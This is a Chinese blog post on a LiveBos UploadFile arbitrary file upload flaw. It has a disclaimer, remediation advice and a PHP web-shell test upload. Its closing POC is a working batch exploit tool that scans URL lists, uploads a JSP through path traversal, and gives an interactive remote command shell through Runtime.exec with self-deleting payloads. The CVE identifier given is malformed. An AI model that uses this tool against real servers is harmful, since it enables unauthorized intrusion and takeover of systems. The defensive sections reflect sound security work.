当前位置: 首页 > news >正文

#渗透测试#批量漏洞挖掘#LiveBos UploadFile(CVE-2021-77663-2336) 任意文件上传漏洞

免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。

目录

漏洞背景

漏洞成因

影响评估

检测方案

修复建议

法律合规提示

漏洞POC


漏洞背景

LiveBos作为企业级应用开发平台,其文件上传模块若存在安全缺陷,可能导致攻击者上传恶意脚本文件(如.jsp、.php等),进而获取服务器控制权限。

漏洞成因

  1. 验证机制缺失

    • 未对文件扩展名进行白名单校验
    • MIME类型检测可被伪造绕过
    • 未实施二次文件头校验
  2. 存储路径配置不当

    • 上传目录具有可执行权限
    • 未对上传文件进行随机化重命名
  3. 权限控制缺陷

    • 未实施有效的身份验证机制
    • 上传接口未配置访问频率限制

影响评估

┌──────────────┬───────────────────────────────┐ │ 影响维度 │ 具体表现 │ ├──────────────┼───────────────────────────────┤ │ 数据安全 │ 数据库凭证泄露、业务数据篡改 │ │ 系统完整性 │ 服务器沦为攻击跳板 │ │ 业务连续性 │ 通过恶意脚本实施服务阻断攻击 │ └──────────────┴───────────────────────────────┘

检测方案

# 示例检测脚本(需在授权环境下使用)
import requeststest_files = {'malicious.jsp':  {'content': '<% out.println("test");  %>'},'bypass.jpg.php':  {'content': '<?php system($_GET["cmd"]); ?>'}
}for filename, data in test_files.items(): response = requests.post( 'https://target/upload',files={'file': (filename, data['content'])})if response.status_code  == 200:print(f'[+] 潜在漏洞:成功上传 {filename}')

修复建议

  1. 输入验证强化

// 示例Java白名单验证
String[] allowedExtensions = {"jpg", "png", "pdf"};
String fileExt = FilenameUtils.getExtension(filename).toLowerCase(); 
if(!ArrayUtils.contains(allowedExtensions,  fileExt)){throw new SecurityException("非法文件类型");
}

存储安全配置

  • 设置upload目录不可执行(nginx配置示例):
location ^~ /uploads/ {deny all;
}

安全增强措施

  • 实施内容安全扫描(如ClamAV集成)
  • 启用WAF防护规则(如ModSecurity规则):
SecRule FILES "@contains .php" "deny,log,status:403"

法律合规提示

根据《网络安全法》第二十一条,网络运营者应当按照网络安全等级保护制度的要求,履行安全保护义务。建议企业:

  1. 在24小时内向属地公安网安部门报告安全事件
  2. 按照《数据安全法》要求进行风险评估
  3. 及时通过官方渠道发布安全公告

注:以上分析基于历史版本研究,具体到2025年的系统版本,建议联系LiveBos官方获取最新安全通告。如需渗透测试服务,应选择持有《网络安全等级保护测评机构推荐证书》的专业机构。

漏洞POC

import argparse
import random
import string
import urllib.request 
from urllib.parse  import urljoin
import ssl
import urllib3# 禁用SSL验证和警告
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 常量定义
USER_AGENT = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
BOUNDARY = "---------------------------11d2c49c8ddda2a65a0a90c3b02189a3"
BASE_HEADERS = {"User-Agent": USER_AGENT,"Content-Type": f"multipart/form-data; boundary={BOUNDARY}"
}def read_urls(file_path: str) -> list:"""读取URL列表文件"""try:with open(file_path, 'r') as f:return [line.strip() for line in f if line.strip()] except FileNotFoundError:print(f"Error: File {file_path} not found")return []def construct_payload(filename: str, content: str) -> bytes:"""构造多部分表单数据载荷"""return f"""--{BOUNDARY}
Content-Disposition: form-data; name="file"; filename="//../../../../{filename}"
Content-Type: image/png{content}
--{BOUNDARY}--""".encode('utf-8')def send_request(url: str, method: str = "GET", data: bytes = None, headers: dict = None):"""发送HTTP请求的通用函数"""req = urllib.request.Request( url,data=data,headers=headers or {},method=method.upper() )try:with urllib.request.urlopen(req,  timeout=10) as response:return response.read().decode(),  response.getcode() except Exception as e:print(f"Request failed: {str(e)}")return None, Nonedef check_vulnerability(url: str) -> bool:"""检测目标是否存在漏洞"""target_url = urljoin(url, "/feed/UploadFile.do;.js.jsp") payload = construct_payload("tmptest1.jsp", '<% out.println("HelloWorldTest");new  java.io.File(application.getRealPath(request.getServletPath())).delete();%>' )content, status_code = send_request(target_url,method="POST",data=payload,headers=BASE_HEADERS)if status_code == 200 and all(k in content for k in ('oldfileName', 'newFileName')):verify_url = urljoin(url, "/tmptest1.jsp;.js.jsp") content, status_code = send_request(verify_url)return status_code == 200 and "HelloWorldTest" in contentreturn Falsedef execute_command(url: str):"""命令执行交互"""while True:cmd = input("\033[34mCommand (exit to quit): \033[0m").strip()if cmd.lower()  == 'exit':breakfilename = ''.join(random.choices(string.ascii_uppercase  + string.digits,  k=5))jsp_code = f'''<% Process p = Runtime.getRuntime().exec("{cmd}"); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line;while ((line = reader.readLine())  != null) {{out.println(line); }}new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>'''payload = construct_payload(f"{filename}.jsp", jsp_code)target_url = urljoin(url, "/feed/UploadFile.do;.js.jsp") _, status_code = send_request(target_url,method="POST",data=payload,headers=BASE_HEADERS)if status_code == 200:result_url = urljoin(url, f"/{filename}.jsp;.js.jsp") content, _ = send_request(result_url)print(content if content else "No response received")def main():parser = argparse.ArgumentParser(description="LiveBos Arbitrary File Upload Exploit Tool",formatter_class=argparse.RawTextHelpFormatter)group = parser.add_mutually_exclusive_group(required=True) group.add_argument("-u",  "--url", help="Target URL")group.add_argument("-f",  "--file", help="File containing list of URLs")args = parser.parse_args() if args.url: if check_vulnerability(args.url): print(f"\033[31mVulnerable: {args.url}\033[0m") execute_command(args.url) elif args.file: for url in read_urls(args.file): if check_vulnerability(url):print(f"\033[31mVulnerable: {url}\033[0m")if __name__ == "__main__":main()
http://www.xdnf.cn/news/548353.html

相关文章:

  • Translational Psychiatry | 注意缺陷多动障碍儿童延迟厌恶的行为与神经功能特征茗创科技茗创科技
  • MySQL与Redis一致性问题分析
  • 数据库与存储安全
  • DeepSeek在政务与公共服务中的智能化实践
  • 中国国际软件发展大会荣誉揭晓,远光九天 AI 应用开发平台获评“软件行业突破性技术成果”
  • 多模态实时交互边界的高效语音语言模型 VITA-Audio 介绍
  • 全球氰化物测定仪市场:现状、趋势与展望
  • PLC系统中开关量与模拟量信号解析
  • 跳空高低开策略思路
  • 优化Hadoop性能:如何修改Block块大小
  • SpringBoot与GeoHash整合,实现骑手就近派单功能
  • Go语言实战:使用 excelize 实现多层复杂Excel表头导出教程
  • Github 2025-05-20Python开源项目日报 Top9
  • 重要通知!!2025年上半年软考考试准考证打印通知(附各地区打印时间表)
  • 【Java】继承和多态在 Java 中是怎样实现的?
  • Token的组成详解:解密数字身份凭证的构造艺术
  • AI与产品架构设计(6):Agent与知识图谱结合在云服务与通用场景中的应用实践
  • 深入探索百度智能云千帆AppBuilder:从零开始构建AI应用
  • 在 Kotlin 中,什么是内联函数?有什么作用?
  • 基于Java的校运会管理系统【附源码】
  • MCP专题 | 探索MCP服务器世界:增强AI能力的精选推荐
  • 奥威BI:打破AI数据分析伪场景,赋能企业真实决策价值
  • 在 JavaScript 中正确使用 Elasticsearch,第二部分
  • 新书速览|GraphPad Prism图表可视化与统计数据分析:视频教学版
  • idea部署本地仓库和连接放送远程仓库
  • 关于 Web 漏洞原理与利用:3. CSRF(跨站请求伪造)
  • 告别格式不兼容!画质无损 RainCrack 免费无广告转码软件
  • 【C++】vector模拟实现
  • 钉钉手机端应用访问提示: 钉钉授权码获取遇到了 “签名校验失败“ 的错误,钉钉开发文档有坑造成的
  • 青少年编程与数学 02-019 Rust 编程基础 19课题、项目发布